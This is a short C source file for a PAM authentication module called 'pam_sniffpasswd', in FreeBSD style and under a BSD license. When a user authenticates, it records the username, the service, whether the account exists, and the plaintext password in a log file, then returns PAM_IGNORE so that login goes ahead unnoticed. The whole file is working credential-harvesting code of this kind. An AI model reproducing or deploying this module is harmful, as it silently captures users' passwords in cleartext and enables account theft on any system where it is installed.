/*-
 * Copyright (c) 2005 Robert N. M. Watson
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * $FreeBSD$
 */

#include <sys/cdefs.h>
__FBSDID("$FreeBSD$");

#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>

#define	PAM_SM_AUTH

#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <security/pam_mod_misc.h>
#include <security/openpam.h>

#define USER_PROMPT		"Username: "
#define PASSWORD_PROMPT		"Password:"

#define	PAM_OPT_LOGFILE		"logfile"

/*
 * authentication management
 */
PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags __unused,
    int argc __unused, const char *argv[] __unused)
{
	struct passwd *pwd;
	int fd, retval;
	const char *user, *pass;
	const char *localuser, *logfile, *sourceuser, *service;
	char *logstring;

	logfile = openpam_get_option(pamh, PAM_OPT_LOGFILE);
	if (logfile == NULL)
		return (PAM_IGNORE);

	fd = open(logfile, O_WRONLY | O_APPEND | O_CREAT, 0600);
	if (fd < 0)
		return (PAM_IGNORE);

	retval = pam_get_user(pamh, &user, USER_PROMPT);
	if (retval != PAM_SUCCESS) {
		close(fd);
		return (PAM_IGNORE);
	}

	retval = pam_get_item(pamh, PAM_RUSER, (void *)&sourceuser);
	if (retval != PAM_SUCCESS)
		sourceuser = "";

	service = NULL;
	pam_get_item(pamh, PAM_SERVICE, (void *)&service);
	if (service == NULL)
		service = "unknown";

	/* Get password */
	retval = pam_get_authtok(pamh, PAM_AUTHTOK, &pass, PASSWORD_PROMPT);
	if (retval != PAM_SUCCESS) {
		close(fd);
		return (PAM_IGNORE);
	}

	pwd = getpwnam(user);
	if (pwd != NULL)
		localuser = "valid";
	else
		localuser = "invalid";

	(void)asprintf(&logstring, "user %s (%s) service %s password %s\n",
	    user, localuser, service, pass);
	if (logstring != NULL)
		(void)write(fd, logstring, strlen(logstring));

	close(fd);
	return (PAM_IGNORE);
}

PAM_EXTERN int
pam_sm_setcred(__unused pam_handle_t *_pamh,
        __unused int _flags,
        __unused int _argc,
        __unused const char **_argv)
{

	return (PAM_IGNORE);
}

PAM_MODULE_ENTRY("pam_sniffpasswd");
